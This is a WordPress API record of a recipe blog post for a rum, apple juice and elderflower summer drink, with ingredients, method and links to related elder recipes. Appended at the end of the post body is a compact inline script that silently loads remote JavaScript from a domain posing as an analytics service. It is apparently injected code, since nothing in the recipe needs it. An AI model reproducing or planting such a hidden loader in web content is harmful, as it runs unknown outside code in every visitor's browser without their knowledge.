{"id":126597,"date":"2025-06-12T22:53:42","date_gmt":"2025-06-12T21:53:42","guid":{"rendered":"https:\/\/totallywilduk.co.uk\/?p=126597"},"modified":"2025-11-24T11:21:20","modified_gmt":"2025-11-24T11:21:20","slug":"elder-and-orchard-a-great-summer-drink","status":"publish","type":"post","link":"https:\/\/totallywilduk.co.uk\/2025\/06\/12\/elder-and-orchard-a-great-summer-drink\/","title":{"rendered":"Elder and Orchard: A Great Summer Drink"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">This Elder and Orchard creation is the kind of drink that tastes like summer got lost in the woods\u2014and came back with rum. <\/span><\/p>\n<p><span style=\"font-weight: 400;\">With apple juice, Elderflower, a squeeze of citrus, and a fizzy top-up of cloudy lemonade, it\u2019s fresh, fruity, and ridiculously easy to throw together. No fancy kit, no fuss\u2014just grab a jug, some ice, and a few pals. Perfect for picnics, garden lounging, or pretending you&#8217;re the kind of person who forages (we won\u2019t tell).<\/span><\/p>\n<hr \/>\n<h2><b>Ingredients to make our Elder and Orchard:<\/b><\/h2>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">250ml\/10\u00bdfl oz white rum<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">700ml\/1 pint 5fl oz apple juice<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">50ml\/2fl oz Elderflower cordial<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">2 lemons, halved<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">1 lime, cut into wedges<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">cloudy lemonade, to top up<\/span><\/li>\n<\/ul>\n<p><a href=\"https:\/\/totallywilduk.co.uk\/2020\/05\/26\/elder-flower-cordial-recipe\/\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-124946\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/04\/homemade-elderflower-cordial-a-d-300x169.jpg\" alt=\"\" width=\"300\" height=\"169\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/04\/homemade-elderflower-cordial-a-d-300x169.jpg 300w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/04\/homemade-elderflower-cordial-a-d-1024x576.jpg 1024w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/04\/homemade-elderflower-cordial-a-d-768x432.jpg 768w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/04\/homemade-elderflower-cordial-a-d-150x84.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/04\/homemade-elderflower-cordial-a-d-900x506.jpg 900w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2025\/04\/homemade-elderflower-cordial-a-d.jpg 1280w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"https:\/\/totallywilduk.co.uk\/2020\/05\/26\/elder-flower-cordial-recipe\/\">Click here for our Elderflower cordial recipe<\/a><\/p>\n<hr \/>\n<h2><b>Method to mix the Elder and Orchard:<\/b><\/h2>\n<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Pour the rum, apple juice and Elderflower cordial into a large jug.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Squeeze in the juice of the two lemons, then add the lemon pieces and lime wedges. Mix with a wooden spoon.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Half-fill a plastic cup filled with ice with the rum mixture, then top up with cloudy lemonade.<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<hr \/>\n<h2>View all of our Elder flower &amp; Elderberry Recipes <a href=\"https:\/\/totallywilduk.co.uk\/elder-flower-elder-berry-recipes\/\">here<\/a><\/h2>\n<div id='gallery-1' class='gallery galleryid-126597 gallery-columns-3 gallery-size-thumbnail'><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2022\/09\/28\/elderberry-syrup-recipe\/elderberry-syrup-from-promo-republic\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/09\/elderberry-syrup-from-promo-republic-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/09\/elderberry-syrup-from-promo-republic-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/09\/elderberry-syrup-from-promo-republic-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/09\/elderberry-syrup-from-promo-republic-100x100.jpg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/09\/elderberry-syrup-from-promo-republic-50x50.jpg 50w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2022\/09\/28\/elderberry-pontack-sauce-recipe\/elderberry-pontack-sauce-from-promo-republic\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/09\/elderberry-pontack-sauce-from-promo-republic-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/09\/elderberry-pontack-sauce-from-promo-republic-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/09\/elderberry-pontack-sauce-from-promo-republic-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/09\/elderberry-pontack-sauce-from-promo-republic-100x100.jpg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2022\/09\/elderberry-pontack-sauce-from-promo-republic-50x50.jpg 50w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure><figure class='gallery-item'>\n\t\t\t<div class='gallery-icon landscape'>\n\t\t\t\t<a href='https:\/\/totallywilduk.co.uk\/2020\/06\/05\/elderflower-marmalade\/cb8d2972bfbec00174621cd10b88b5cf\/'><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"150\" src=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/06\/cb8d2972bfbec00174621cd10b88b5cf-150x150.jpg\" class=\"attachment-thumbnail size-thumbnail\" alt=\"\" srcset=\"https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/06\/cb8d2972bfbec00174621cd10b88b5cf-150x150.jpg 150w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/06\/cb8d2972bfbec00174621cd10b88b5cf-450x450.jpg 450w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/06\/cb8d2972bfbec00174621cd10b88b5cf-100x100.jpg 100w, https:\/\/totallywilduk.co.uk\/wp-content\/uploads\/2020\/06\/cb8d2972bfbec00174621cd10b88b5cf-50x50.jpg 50w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a>\n\t\t\t<\/div><\/figure>\n\t\t<\/div>\n\n<hr \/>\n<p>&nbsp;<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This Elder and Orchard creation is the kind of drink that tastes like summer got lost in the woods\u2014and came back with rum. With apple juice, Elderflower, a squeeze of citrus, and a fizzy top-up of cloudy lemonade, it\u2019s fresh, fruity, and ridiculously easy to throw together. No fancy kit,&hellip;<\/p>\n","protected":false},"author":9,"featured_media":124335,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1766,1775,1780,1767,86,1776,1777,1768,1769,89],"tags":[],"class_list":["post-126597","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-dairy-free","category-dessert","category-edible","category-gluten-free","category-plants","category-spring","category-summer","category-vegan","category-vegetarian","category-recipes"],"_links":{"self":[{"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/posts\/126597","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/comments?post=126597"}],"version-history":[{"count":4,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/posts\/126597\/revisions"}],"predecessor-version":[{"id":138114,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/posts\/126597\/revisions\/138114"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/media\/124335"}],"wp:attachment":[{"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/media?parent=126597"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/categories?post=126597"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/totallywilduk.co.uk\/wp-json\/wp\/v2\/tags?post=126597"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}